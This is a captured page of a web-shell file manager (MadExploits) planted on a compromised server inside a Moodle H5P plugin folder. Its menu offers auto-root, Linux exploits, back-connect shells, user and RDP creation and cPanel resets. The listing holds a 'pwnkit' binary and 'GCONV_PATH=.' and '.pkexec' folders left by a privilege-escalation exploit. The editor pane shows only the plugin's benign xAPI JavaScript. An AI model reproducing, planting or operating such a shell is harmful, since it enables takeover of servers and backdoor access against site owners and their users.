Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.214
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.eslintrc
5.77
KB
-rw-r--r--
.gitignore
49
B
-rw-r--r--
.gitmodules
323
B
-rw-r--r--
.jshintrc
163
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.travis.yml
4.8
KB
-rw-r--r--
LICENSE
17.62
KB
-rw-r--r--
README.md
2.39
KB
-rw-r--r--
ajax.php
16.43
KB
-rw-r--r--
autoloader.php
3.68
KB
-rw-r--r--
content_hub_registration.php
2.03
KB
-rw-r--r--
dataviews.js
1.31
KB
-rw-r--r--
editor.js
1.25
KB
-rw-r--r--
embed.php
3.53
KB
-rw-r--r--
grade.php
5
KB
-rw-r--r--
index.php
4.25
KB
-rw-r--r--
lib.php
16.49
KB
-rw-r--r--
library_list.php
5.1
KB
-rw-r--r--
locallib.php
25.48
KB
-rw-r--r--
mod_form.php
18.76
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
3.1
KB
-rw-r--r--
review.php
6.74
KB
-rw-r--r--
settings-hide-key.js
1018
B
-rw-r--r--
settings.php
7.2
KB
-rw-r--r--
share.php
5.63
KB
-rw-r--r--
styles.css
2.18
KB
-rw-r--r--
thirdpartylibs.xml
542
B
-rw-r--r--
upgrade_content_page.php
4.95
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
view.css
1.74
KB
-rw-r--r--
view.php
3.37
KB
-rw-r--r--
xapi-collector.js
5.67
KB
-rw-r--r--
xapi-custom-report.css
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xapi-collector.js
/** * Collect results from xAPI events */ (function($) { /** * Finds a H5P library instance in an array based on the content ID * * @param {Array} instances * @param {number} contentId * @returns {Object|undefined} Content instance */ function findInstanceInArray(instances, contentId) { if (instances !== undefined && contentId !== undefined) { for (var i = 0; i < instances.length; i++) { if (instances[i].contentId === contentId) { return instances[i]; } } } return undefined; } /** * Finds the global instance from content id by looking through the DOM * * @param {number} [contentId] Content identifier * @returns {Object} Content instance */ function getH5PInstance(contentId) { var iframes; var instance = null; // Returning null means no instance is found. // No content id given, search for instance. if (!contentId) { instance = H5P.instances[0]; if (!instance) { iframes = document.getElementsByClassName('h5p-iframe'); // Assume first iframe. instance = iframes[0].contentWindow.H5P.instances[0]; } } else { // Try this documents instances. instance = findInstanceInArray(H5P.instances, contentId); if (!instance) { // Locate iframes. iframes = document.getElementsByClassName('h5p-iframe'); for (var i = 0; i < iframes.length; i++) { // Search through each iframe for content. instance = findInstanceInArray(iframes[i].contentWindow.H5P.instances, contentId); if (instance) { break; } } } } return instance; } function getIframe(contentId) { let iFrames; // No content id given. if (!contentId) { iFrames = document.getElementsByClassName('h5p-iframe'); // Assume first iframe. return iFrames[0]; } // Locate iFrames. iFrames = document.getElementsByClassName('h5p-iframe'); for (let i = 0; i < iFrames.length; i++) { // Search through each iframe for content. if (findInstanceInArray(iFrames[i].contentWindow.H5P.instances, contentId)) { return iFrames[i]; } } return null; } /** * Get xAPI data for content type and send off. * * @param {number} contentId Content id * @param {Object} event Original xAPI event */ function storeXAPIData(contentId, event) { var xAPIData; var instance = getH5PInstance(contentId); // Use getXAPIData contract, needed to get children. if (instance && instance.getXAPIData) { xAPIData = instance.getXAPIData(); } else { // Fallback to event data. xAPIData = { statement: event.data.statement }; } // Ship the xAPI result. var data = { contentId: contentId, xAPIResult: JSON.stringify(xAPIData) }; $.post(H5PIntegration.ajax.xAPIResult, data).done(function (data) { if (data.error) { console.error('Storing xAPI results failed with error message:', data); } }).fail(function () { if (H5P.offlineRequestQueue) { H5P.offlineRequestQueue.add(H5PIntegration.ajax.xAPIResult, data); return; } // Let H5P iframe know that we want to queue the request for late transmission. const iframe = getIframe(contentId); if (!iframe) { return; } iframe.contentWindow.postMessage( { url: H5PIntegration.ajax.xAPIResult, data: data, context: 'h5p', action: 'queueRequest', }); }); } $(document).ready(function() { // No external dispatcher. if (!(window.H5P && H5P.externalDispatcher)) { console.error('External dispatcher not found'); return; } // No ajax path. if (!(window.H5PIntegration && H5PIntegration.ajax && H5PIntegration.ajax.xAPIResult)) { console.error('No ajax path found'); return; } // Get emitted xAPI data. H5P.externalDispatcher.on('xAPI', function(event) { // Skip malformed events. var hasStatement = event && event.data && event.data.statement; if (!hasStatement) { return; } var statement = event.data.statement; var validVerb = statement.verb && statement.verb.display && statement.verb.display['en-US']; if (!validVerb) { return; } var isCompleted = statement.verb.display['en-US'] === 'answered' || statement.verb.display['en-US'] === 'completed'; var isChild = statement.context && statement.context.contextActivities && statement.context.contextActivities.parent && statement.context.contextActivities.parent[0] && statement.context.contextActivities.parent[0].id; // Store only completed root events. if (isCompleted && !isChild) { // Get xAPI data with children if possible. storeXAPIData(this.contentId, event); } }); }); })(H5P.jQuery);
Close